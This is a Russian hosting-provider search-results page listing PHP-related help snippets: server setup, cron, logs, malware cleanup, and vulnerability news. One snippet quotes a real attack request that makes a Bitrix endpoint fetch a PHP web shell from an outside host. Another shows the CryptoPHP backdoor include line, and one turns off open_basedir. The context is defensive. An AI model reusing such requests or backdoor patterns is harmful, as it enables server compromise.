Результаты поиска
Найдено: 165
… Zend Optimizer — это модуль для интерпретатора PHP, который позволяет запускать скрипты, закодированные с помощью Zend Encoder и Zend SafeGuard Suite. Работает только с версией PHP 5.2, на более поздних версиях Zend Guard . Установка через панель ispmanager Перейдите в раздел «Настройки» — «Настройки PHP», выделите версию PHP 5.2 и нажмите кнопку «Управление расширениями». В открывшемся списке найдите zendoptimizer, … PHP …
… помогут сохранить данные в безопасности. Локальное подключение с сервера Подключение через терминал Подключение через phpMyAdmin Подключение с помощью Adminer Удалённое подключение с другого сервера или локального ПК Подключение с … через SSH ), подключиться к базе данных можно напрямую через командную строку или веб-панель управления, например, phpMyAdmin или Adminer. Прямое подключение — наиболее распространённый и безопасный способ, особенно в рамках … = root password = PaSSw0rd то пользователь root сможет подключаться к СУБД упрощенной командой: mysql Подключение через phpMyAdmin phpMyAdmin — это веб-интерфейс для управления MySQL/MariaDB. Он устанавливается отдельно и обычно доступен по …
… заданию. 3.2. Установка ПО Обновление панели ispmanager до актуальной версии. Установка ПО через ispmanager. Смена версии PHP (при условии, что данная версия доступна для вашей версии ОС в штатном репозитарии). Пошаговая инструкция . Смена версии MySQL (при условии, что данная версия доступна для вашей версии ОС в штатном репозитарии). Переустановка PHP без suhosin. Установка расширений PHP. Пошаговая инструкция Установка IonCube . Установка кэшеров и ускорителей PHP (Zend Optimizer, eAccelerator, xCache, …
… столбцы: количество_запросов, адрес_запроса и url_запроса. Пример: 2213 66.249.91.145 /bitrix/tools/conversion/ajax_counter.php 33 22.111.21.123 /bitrix/tools/conversion/ajax_counter.php 2 5.10.12.13 /bitrix/components/bitrix/sale.gift.product/ajax.php Если среди этих запросов вы видите много обращений к xmlrpc.php , скорее всего ваш сервер атакуют xmlrpc-bruteforce . …
… Предположим, что вы установили на сервер LAMP (Linux, Apache, MySQL, PHP) — с помощью нашего рецепта или вручную . Теперь дело за малым — нужно настроить веб-сервер, создать базы данных и папки … example.com .access.log combined ErrorLog /var/www/httpd-logs/ example.com .error.log AddType application/x-httpd-php .php </VirtualHost> Измените выделенный текст на ваши данные ( 123.123.123.123 — IP-адрес сервера и example.com — имя … PHP …
… любым текстовым редактором, например так: nano /etc/nginx/conf.d/default.conf В итоге у вас должно получиться так: upstream php-handler { server 127.0.0.1:9000; #server unix:/var/run/php/php7.2-fpm.sock; } server { listen 80; listen 443 ssl; ssl_certificate "/etc/ssl/certs/nextcloud.crtca"; ssl_certificate_key …
… выполнения периодических задач. Как настроить cron средствами панели ispmanager 6 Как настроить cron по ssh Как запустить PHP-скрипт по расписанию Как получить сообщения об ошибках от программ, запускаемых cron Как запустить сценарий от имени … выполнять задание ежемесячно 1 числа в 6 часов 10 минут — 10 6 1 * * /home/u12345/script.pl Как запустить PHP-скрипт по расписанию Запускайте скрипты на языке PHP в указанное время с желаемой периодичностью с помощью PHP-CLI интерпретатора.Так может выглядеть команда на запуск …
… БД, удаляем служебные скрипты и проверяем работу сайта. Ручной перенос сайта Чтобы выполнить ручной перенос любого php-сайта, алгоритм действий почти всегда делится на три этапа: перенос файлов, перенос базы данных, корректировка настроек … и, используя drag&drop, запускаем загрузку файлов сайта на сервер. По завершении загрузки файлы .htaccess , index.php и директория bitrix должны находится в директории /var/www/html . На этом перенос файлов завершен, осталось перенести БД. 2 этап. Перенос базы данных Для переноса базы данных нужно получить дамп. Это можно сделать при помощи PhpMyAdmin, Adminer или другого инструмента, предлагаемого хостинг-провайдером. Как сделать дамп базы данных Читать …
… вирусов 2.1 ispmanager 5 2.2 Поиск вирусов вручную 2.3 Поверхностный осмотр. 2.4 Детальный осмотр. 2.4.1 htaccess 2.4.2 Php/js код 3 Действия после очистки Превентивные меры Для того, чтобы максимально обезопасить себя от взлома, желательно … если заражение было осуществлено по ftp. Tue Jun 19 10:56:38 2012 0 <IP> 16171 /var/www/user/data/www/site.ru/include/virus.php a _ i r user ftp 0 * c такая запись говорит нам о том, что в папку include 19 июня по ftp был загружен файл virus.php размером 16кб, пользователем user с ip адресом <IP>. Обращаем внимание на ключ i в записи, который говорит нам, что файл …
… Где найти бэкап моего сервера? Почему вместо сайта открывается заглушка «Сайт example.ru только что создан» (вместо index.php)? Мой сайт не работает, что делать? Что делать, если сервер недоступен? Как и где сменить версию PHP? Почему мой домен недоступен? Как продлить домен? Почему сервер не активируется после оплаты? Почему сервер не … в едином веб-интерфейсе. Почему вместо сайта открывается заглушка «Сайт example.ru только что создан» (вместо index.php)? Если после установки движка продолжает открываться заглушка «Сайт example.ru только что создан», но и …
… файл лога и выставим верные права на него: touch /var/log/msmtp.log chown apache:apache /var/log/msmtp.log Меняем для php метод отправки с sendmail , который ставится по умолчанию, на нужный нам msmtp . Для этого в конец файла /etc/php.d/z9_bitrix.ini добавляем следующее: sendmail_path = msmtp -t -i Либо можно это сделать вот такой командой: echo "sendmail_path = msmtp -t -i" >> /etc/php.d/z9_bitrix.ini И перезапускаем службу php-fpm: systemctl restart php-fpm После этого письма с сайта будут отправляться …
… Отбросим нравственные аспекты этой темы и обратим внимание на техническую. Остановимся на так называемой инфекции CryptoPHP. Подробный и многостраничный отчет можно прочитать здесь: https://foxitsecurity.files.wordpress.com/2014/11/cryptophp-whitepaper-foxsrt-v4.pdf О ней известно довольно давно, но пик ее активности пришелся на последние несколько месяцев. … можно получить полный доступ к сайту или серверу. Нередко этот код может выглядеть вполне безобидно. Типа такого: <?php include('assets/images/social.png'); ?> Естественно, любой php-разработчик немедленно обратит внимание на подобную …
… Требования для актуальной версии (система сама «просит» обновления в случае необходимости): язык программирования PHP версии 7.4 или выше. база данных MySQL версии 5.6 или выше ИЛИ MariaDB версии 10.1 или выше. Протокол HTTPS В качестве … рекомендуется Apache или Nginx как наиболее надёжные и функциональные, но в общем случае подойдет любой сервер с поддержкой PHP и MySQL. Если взглянуть на таблицу, то актуальной версией WordPress можно пользоваться только на сервере под … Однако на официальном сайте CMS дана следующая информация: «Если на вашем сервере доступны только старые версии PHP и MySQL, WordPress также работает на PHP 5.6.20+ и MySQL 5.0+, однако поддержка этих версий прекращена, и они могут …
… работать со следующими типами журналов: Системные логи (ядро, авторизация, загрузка). Логи веб-сервера (Nginx, Apache, php-fpm). Логи баз данных (MySQL/MariaDB, PostgreSQL). Логи почтовых и FTP-служб . Конечно, этим список логов не … запрос. Рассмотрим, как это реализовано в двух самых популярных веб-серверах — Nginx и Apache, а также затронем логи PHP-интерпретатора, который часто работает в связке с ними. Nginx Обычно Nginx стоит как фронтенд (принимает запросы … с Nginx или самостоятельно. Папка : /var/log/apache2/ (Debian) или /var/log/httpd/ (RHEL). Файлы : access.log и error.log . PHP-интерпретатор Если сайт работает на PHP, ошибки кода (например, "Call to undefined function") нужно искать именно здесь, …
… но ошибка 403 до сих пор присутствует, необходимо указать DirectoryIndex для VirtualHost’a. Теперь все открывается, но php не обрабатывается. Добавляем: php_admin_value engine 1 в конфигурационный файл /etc/httpd/conf/vhosts/interview/interview.fvds.ru . Mysql.php обрабатывается, но не работает, а вот mail.php вообще не обрабатывается, а все потому, что используется короткий тег. …
… сайта. Вот список конфигурационных файлов для популярных CMS (путь начинается с домашней директории сайта): ./configuration.php - конфигурационный файл для Joomla .bitrix/.settings.php и в ./bitrix/php_interface/dbconn.php - конфигурационный файл для Bitrix ./wp-config.php - конфигурационный файл для WordPress …
… до полномасштабного интернет-магазина. Для установки WordPress последнего выпуска вам потребуется сервер с версией PHP от 7.4 , сервером баз данных MySQL 5.6 или выше или MariaDB версии 10.1 или выше. Всё это «из коробки» доступно с … из которого нам нужно сделать боевой конфигурационный файл, уже лежит в корневой папке и называется wp-config-sample.php Здесь же его и переименуем: mv wp-config-sample.php wp-config.php Теперь нужно вставить в наш файл данные для подключения к базе данных. Для этого нужно открыть его в …
… сайта> Найти раздел <Directory> </Directory> и <VirtualHost ..> </VirtualHost> для конкретного сайта и заменить параметр php_admin_value open_basedir "/var/www/user/data:." на php_admin_value open_basedir "none" Также конфигурационный файл можно исправить под root через интерфейс ispmanager — Сайты … последующих веб доменов, то в конфигурационный файл ispmanager ( /usr/local/mgr5/etc/ispmgr.conf ) нужно прописать: path php_open_basedir none После правки конфигурационного файла перезапустить core: killall core Соответственно, в конфиг каждого …
… попадают в спам». Читать статью Кошмары месяца — не для слабонервных Критическая уязвимость CVE- 2019–1104 3 в расширении PHP-FPM Уязвимость опасна для серверов, использующих для запуска PHP-скриптов PHP-FPM в связке с Nginx. Побаловавшись с нулем и поколдовав над URL-запросом , атакующий может добиться выполнения своего …
… операторам связи рекомендовал радиочастотный центр Роскомнадзора. Click2Shell: одна ссылка — и WordPress выполняет чужой PHP-код Уязвимость Click2Shell в ядре CMS позволяет атакующим принудительно установить тему из официального каталога … . Если в каталоге найдется тема с собственной уязвимостью, злоумышленники смогут удаленно выполнить на сервере произвольный PHP-код. Проблему нашел Паулос Йибело (Paulos Yibelo) из pwn.ai . Под удар попадают все версии начиная с 6.0, CVE пока не … Установленная тема не активируется, так что сайт выглядит как прежде. Однако предпросмотр через Customizer исполняет PHP-код и неактивной темы. В демонстрации использовалась тема Mobile Repair Zone: она загружала пакет по ссылке из запроса и …
… языками, вроде JavaScript или HTML, но так происходит далеко не всегда. Например, для проекта, целиком написанного на языке PHP, целесообразнее выбрать Linux, так как для данной ОС это язык программирования является «родным». Несмотря на то, что на Windows PHP-скрипты тоже могут запускаться и выполняться, скорость их работы в среде Linux при прочих равных условиях всегда будет … среди разработчиков веб-приложений СУБД MySQL доступна для обеих ОС, но, учитывая популярность «классической» связки PHP+MySQL, ее можно считать чуть боле близкой к Linux. Тем более, что связка из MySQL, языка PHP и веб-сервера Apache …
… в отпусках, можно наконец-то выкроить время и поставить дополнительное программное обеспечение. Отдавая дань 25-летию php, в этот раз рассказываем, как установить приложение phpMyAdmin на Битрикс-сервер с привычным окружением и скоростным рецептом GT. Для прода админы приложение использовать не советуют, а на dev в принципе можно накатить. Ну вы и сами всё знаете. Установка phpMyAdmin на Bitrix-сервер Как установить phpMyAdmin на Bitrix-сервер с GT Идея 3. Запустить новый проект в Minecraft …
… После успешной регистрации пользователи bitrixsupport_ выполняют запросы вида: POST /bitrix/tools/landing/ajax.php?action=Site::uploadFile с нагрузкой data[picture]=http://sql.bling.org/bx/<ваш_домен>.<ru>_xx/.description.php в попытке загрузить php-шелл на сервер. Нам попадались случаи, где такой запрос провоцировал DOS, но это не приводило к загрузке веб-шелла. …
… prefork использует режим предварительной загрузки отдельных процессов. При включении в настройках веб-домена режима работы PHP «PHP как модуль Apache» сайт работает под пользователем веб-сервера (apache/www-data, в зависимости от ОС или дистрибутива). При включении в настройках веб-домена режима работы PHP «PHP как CGI» сайт начинает работать под пользователем-владельцем веб-домена. …
… выполнить код на сервере. Новый вариант уязвимости устранили в обновлении 2.4.51. Подробнее на opennet.ru Уязвимость в PHP, обходящая ограничения php.ini В интерпретаторе PHP обнаружена уязвимость, позволяющая обойти ограничения, заданные при помощи директивы disable_functions и других настроек …